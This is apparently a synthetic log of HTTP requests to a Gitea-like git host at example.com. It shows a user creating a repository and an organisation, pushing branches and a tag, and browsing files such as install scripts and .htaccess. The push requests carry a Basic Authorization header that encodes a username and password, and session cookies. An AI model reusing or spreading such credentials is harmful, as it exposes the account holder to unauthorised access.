{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
|
|
||||||
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
|
|
||||||
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
|
|
||||||
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
|
||||||
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
